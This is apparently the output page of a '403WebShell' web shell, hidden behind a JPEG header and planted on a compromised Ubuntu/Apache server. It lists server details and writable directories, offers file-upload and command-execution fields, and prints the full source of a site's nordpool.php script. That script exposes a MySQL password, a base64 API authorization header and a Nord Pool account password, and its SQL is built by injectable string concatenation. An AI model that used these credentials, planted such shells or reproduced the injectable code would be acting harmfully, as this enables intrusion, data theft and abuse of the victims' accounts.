????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.22.79.2
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/shellyctr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/shellyctr/nordpool.php
<?php

	$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ShellyCTR");

	$output=null;
	$retval=null;

	exec('curl -k -H "Authorization: Basic Y2xpZW50X21hcmtldGRhdGFfYXBpOmNsaWVudF9tYXJrZXRkYXRhX2FwaQ==" -H "Content-Type:application/x-www-form-urlencoded" -X POST -d "grant_type=password&scope=marketdata_api&username=API_DATA_ASTACUS&password=yB)77T4Dj=vpcJ6P1" https://sts.nordpoolgroup.com/connect/token', $output, $retval);

	$accesstoken = json_decode($output[0],true);
	$accesstoken = $accesstoken['access_token'];

	$output=null;
	$retval=null;

	$startdate = date("Y-m-d",strtotime("+0 days"));
	$enddate = date("Y-m-d",strtotime("+2 days"));

	exec('curl -v -i -X GET "https://marketdata-api.nordpoolgroup.com/dayahead/prices/area?currency=SEK&startTime='.$startdate.'&endTime='.$enddate.'" -H "Accept: application/json" -H "Authorization: Bearer '.$accesstoken.'"', $output, $retval);

	$data = json_decode($output[9],true);
	
//print_r($data);

		foreach ($data as &$row) {
			$deliveryArea = $row['attributes'][0]['value'];

		//	if($row['attributes'][1]['value'] == "O"){
				
				foreach ($row['values'] as &$r) {

					$startTime  = $r['startTime'];
					$startTime = str_replace("T"," ",$startTime);
					$startTime = str_replace("Z","",$startTime);
		
					$endTime  = $r['endTime'];
					$endTime = str_replace("T"," ",$endTime);
					$endTime = str_replace("Z","",$endTime);
		
					$value = $r['value'];

		
					$sql = "SELECT * FROM tblNordpool WHERE startTime = '".$startTime."' and area ='".$deliveryArea."';";
					$result = $mysqli->query($sql);

					echo($sql."<br>");
					$v = "null";
					  while($obj = $result->fetch_object()){  
						$v = $obj->value;
						$NordpoolId = $obj->NordpoolId;
					}

					if($v == "null"){
							$sql = "INSERT INTO tblNordpool VALUES(null,'".$startTime."','".$endTime."','".$value."','".$deliveryArea."');";
							echo($sql."<br>");
							$mysqli->query($sql);
					}else{
						$sql = "UPDATE tblNordpool SET value = '".$value."' WHERE NordpoolId = $NordpoolId;";
							echo($sql."<br>");
						$mysqli->query($sql);
					}

				}
			//}
		}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit